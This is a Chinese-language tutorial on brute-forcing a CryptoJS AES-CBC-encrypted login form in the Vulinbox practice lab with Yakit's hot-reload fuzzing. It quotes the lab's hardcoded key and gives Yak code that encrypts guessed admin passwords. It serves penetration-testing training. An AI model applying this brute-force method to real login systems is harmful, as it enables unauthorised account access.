Skip to main content

热加载场景案例:爆破aes cbc加密

这篇文章我们将会介绍另一个热加载的实际应用案例:爆破aes cbc加密。我们以 yakit 官方的 Vulinbox靶场为例。

首先我们需要安全并启动 Vulinbox 靶场,打开 yakit ,点击试验性功能 - (靶场)Vulinbox

打开Vulinbox 管理器页面后,点击右上角的安装靶场:

安装成功后,我们关闭Vulinbox 管理器页面后重新打开,看到已经提示安装成功的提示,我们点击启动靶场:

在启动靶场中设置参数,我们默认即可,点击启动靶场按钮:

等待下方页面输出VULINBOX RUNNING IN:的提示,说明靶场启动成功:

接着我们手动访问该URL,打开靶场页面,找到CryptoJS.AES(CBC) 前端加密登陆表单

靶场页面如下所示:

首先我们需要了解这个靶场,这个靶场的目的是要对用户和密码进行爆破,直到找到正确的用户名和密码。而用户名和密码是经过json序列化之后AES CBC的方式进行加密的,所以我们需要先对加密的过程进行分析。

为了完成这个靶场,我们需要了解一下AES算法。

AES(Advanced Encryption Standard,高级加密标准)是一种对称加密算法,也就是说加密和解密使用相同的密钥。这是一种块加密算法,它以固定大小(128位,即16字节)的块来处理数据。

CBC(Cipher Block Chaining,密码块链)是AES中常用的一种工作模式。在CBC模式中,每个明文块在加密之前,都会与前一个密文块进行XOR(异或)操作,然后再进行加密。对于第一个明文块,因为前面没有密文块,所以会与一个初始化向量(IV)进行XOR操作。

查看源码,我们可以看到加密的过程如下:

<script>    var iv = CryptoJS.lib.WordArray.random(128/8);    function generateKey() {        return  CryptoJS.enc.Utf8.parse("1234123412341234")  // 十六位十六进制数作为密钥    }    const key = generateKey()    // 解密方法    function Decrypt(word) {        return  CryptoJS.AES.decrypt(word, key, {iv: iv}).toString();     }    // 加密方法    function Encrypt(word) {        console.info(word);        return  CryptoJS.AES.encrypt(word, key, {iv: iv}).toString();     }    function getData() {        return {            "username": document.getElementById("username").value,            "password": document.getElementById("password").value,        }    }    function outputObj(jsonData) {        const word = JSON.stringify(jsonData);        return {            "data": Encrypt(word),            "key": key.toString(),            iv: iv.toString(),        }    }    function submitJSON(event) {        event.preventDefault();        const url = "/crypto/js/lib/aes/cbc/handler";        let jsonData = getData();        let submitResult = JSON.stringify(outputObj(jsonData), null, 2)        console.log("key", key)        fetch(url, {            method: "POST",            headers: {                "Content-Type": "application/json"            },            body: submitResult,        })            .then(response => response.text())            .then(data => {                console.log("Success:", data);                document.body.innerHTML = data;            })            .catch((error) => {                console.error("Error:", error);            });    }    document.getElementById("json-form").addEventListener("change", () => {        let jsonData = {            "username": document.getElementById("username").value,            "password": document.getElementById("password").value,        };        document.getElementById("encrypt").innerHTML = JSON.stringify(outputObj(jsonData), null, 2)        document.getElementById("input").innerHTML = JSON.stringify(jsonData, null, 2)    })    document.getElementById("json-form").addEventListener("submit", submitJSON)</script>

当我们点击Submit按钮时,执行逻辑如下:

  1. 调用getData函数获取用户在表单中填写的用户名和密码。
  2. 调用outputObj函数,将获取到的数据进行AES CBC加密,并将加密后的数据、密钥和初始化向量(iv)一起封装成一个对象。
  3. 将这个对象转换为JSON字符串,准备发送到服务器。
  4. 使用fetch API向/crypto/js/lib/aes/cbc/handler这个后端接口发送一个POST请求,请求的body就是刚才生成的JSON字符串。

另外我们还需要了解一下iv和key的格式,实际上如果对CryptoJS这个库有了解的师傅应该知道,通过调用CryptoJS.lib.WordArray.random(iv的生成方式)和CryptoJS.enc.Utf8.parse(key的生成方式)生成的iv和key,通过调用toString()方法得到的字符串是经过hex过的。我们也可以通过在浏览器控制台中手动调用iv.toString()key.toString()的方式或者查看CryptoJS官方文档来了解。

在这之后我们使用yakit的 MITM 模块拦截真正的登录请求,来查看实际发送的数据,并思考如何使用热加载来实现爆破:

接下来我们需要用 Yak 代码实现这个AES CBC加密,我们知道iv和key是固定的,所以我们可以先使用codec.DecodeHex(data)来把十六进制的字符串还原为原始的byte。

// 这里我们使用了wavy call这个语法,即在调用时添加一个~符号,这个符号可以自动处理这个函数返回值中的错误// 目前自动处理的行为是,如果这个函数结尾有错误,那么自动中断程序执行,抛出错误提示// 其相当于自动调用die(err)key = codec.DecodeHex("31323334313233343132333431323334")~// 需要将iv改为你抓包到post参数的iv值iv = codec.DecodeHex("03395d68979ed8632646813f4c0bbdb3")~

然后我们手动拼接需要使用的用户名和密码,将其转换为JSON字符串:

username = "qwe"password = "asd"m = {"username": username, "password": password}jsonInput = json.dumps(m)

另外,通过查询CryptoJS官方文档知道,如果使用CryptoJS.AES.encrypt()进行加密,默认使用的是AES CBC加密方式,默认采用Pkcs7 padding。

在 Yak 代码中,我们也可以使用codec.AESCBCEncryptWithPKCS7Padding(key, data, iv)

result = codec.AESCBCEncryptWithPKCS7Padding(key, jsonInput, iv)~base64Result = codec.EncodeBase64(result)printf("%s", base64Result)

最终的代码如下,我们可以将结果输出来查看结果是否正确,需要注意的是,结果可能与抓包页面中post参数的data值不一样,这实际上是因为在 Yak 代码中map是无序的:

key = codec.DecodeHex("31323334313233343132333431323334")~iv = codec.DecodeHex("03395d68979ed8632646813f4c0bbdb3")~username = "qwe"password = "asd"m = {"username": username, "password": password}jsonInput = json.dumps(m)result = codec.AESCBCEncryptWithPKCS7Padding(key, jsonInput, iv)~base64Result = codec.EncodeBase64(result)printf("%s", base64Result) // SUfWboJqpPH3p7I56a3Qn2NDJAtW2/Eq3HFSaLYltgHlKCq3AU/Q038zubFGX/3S

我们也可以将结果在浏览器控制台中调用Decrypt("SUfWboJqpPH3p7I56a3Qn2NDJAtW2/Eq3HFSaLYltgHlKCq3AU/Q038zubFGX/3S")来查看(Decrypt函数的返回值是十六进制字符串),发现可以正确解密,证明我们加密成功。

最后一步,我们编写一个真正可用的热加载函数,来对用户名和密码进行爆破,为了方便,我们将用户名固定为["admin"]

handle = func(p) {    key = codec.DecodeHex("31323334313233343132333431323334")~    iv = codec.DecodeHex("03395d68979ed8632646813f4c0bbdb3")~    usernameDict = ["admin"]    // passwordDict = x"{{x(pass_top25)}}" // 我们可以使用x前缀字符串来通过fuzztag语法获取pass_top25字典中的值    passwordDict = ["admin", "123456", "admin123", "88888888", "666666"] // 也可以直接使用手写的list    resultList = []    for username in usernameDict {        for password in passwordDict {            m = {"username": username, "password": password}            jsonInput = json.dumps(m)            result = codec.AESCBCEncryptWithPKCS7Padding(key, jsonInput, iv)~            base64Result = codec.EncodeBase64(result)            resultList.Append(base64Result)        }    }    return resultList}

将data参数设置为{{yak(handle)}},点击发送请求按钮,可以看到我们成功爆破出用户名和密码:

实际上,靶场每次启动时爆破成功的密码是随机的,所以师傅们在复现时遇到可能会遇到与图中不同的情况。

感谢看到最后的师傅,至此我们已经对 Web Fuzzer 的所有高级(复杂)用法进行了系统性的讲解。